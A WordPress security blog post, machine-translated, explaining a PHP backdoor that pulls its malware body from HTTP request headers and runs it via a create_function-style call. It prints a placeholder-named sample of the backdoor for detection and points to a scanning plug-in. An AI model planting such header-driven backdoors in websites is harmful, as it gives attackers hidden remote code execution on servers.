We will explain about the type of backdoor that puts the main body of malware code in $_HEADERS, which has been increasingly detected in recent years.


Backdoor that sends malware body code by HEADER instead of POST or GET

This backdoor is a new type of backdoor in the sense that it remotely infects the server with the malware itself, which is embedded in the information in the header part of the HTML request called HEADER, instead of remotely infecting the server with malware through conventional POST or GET requests. This is a new type of backdoor, but it is currently very popular.

By taking advantage of a vulnerability in WordPress, or by being deprived of administrator privileges, a number of backdoors with the following code are generated in WordPress folders and plugin/theme folders with generic word files.

$_HEADERS = getallheaders();
if (isset($_HEADERS['random word'])) {
    $random words = $_HEADERS['random words']('', $_HEADERS['random words']($_HEADERS['random words']));
    $_random_word();
}

The code is designed to remotely execute a CreateFunction (similar to the function eval, which creates a function in PHP) with a random name header data in the header array, but without using POST or GET requests and with the random name header data. This makes the code very difficult to detect as a backdoor.

Detection and Removal

Free WordPress:Malware Scan & Security Plug-in [Malware and Virus Detection and Removal].

You can detect and get rid of this type of backdoor by using the latest malware detection patterns at

We hope you will give it a try.

Reference
5 Free WordPress Security Measures

WordPress Doctor can also perform malware and backdoor scanning and removal on your behalf. If you find it difficult to do it by yourself, please feel free to send us your inquiries.

Related Posts:

  1. Five types of malware embedded in WordPress
    Here are some of the types of malware embedded in WordPress that are common these days. If similar code is included in the site’s program, we suspect that WordPress has been hacked and tampered with....
  2. File names commonly seen these days in WordPress malware
    Here are some common malware (virus) file names that WordPress Doctor has discovered recently....
  3. What is a WordPress injection attack?
    There are various methods by which WordPress can be hacked, the most common of which is called an injection attack. This section describes these injection attacks....
  4. If your wordpress index.php has a one line include statement @include it is infected with malware
    If there is a one-line include statement @include in the index.php in the top directory of WordPress or in the theme, etc., it is highly likely that the site is infected with malware....
  5. Characteristics of malware code when WordPress is tampered with
    We will explain what kind of malware (programs that perform malicious behavior) can be embedded in a site when WordPress is defaced by hackers....
  6. When WordPress is hacked, do you know the cause, date and time of the hack?
    One of the rare questions we receive when WordPress Doctor recovers from malware or tampering on behalf of our clients is that they want to know the cause and date of the problem. Here is an explanation of how we can find out....